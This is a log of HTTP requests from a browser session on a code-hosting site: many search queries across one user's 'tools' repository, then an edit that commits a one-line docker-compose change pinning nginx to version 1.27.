{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
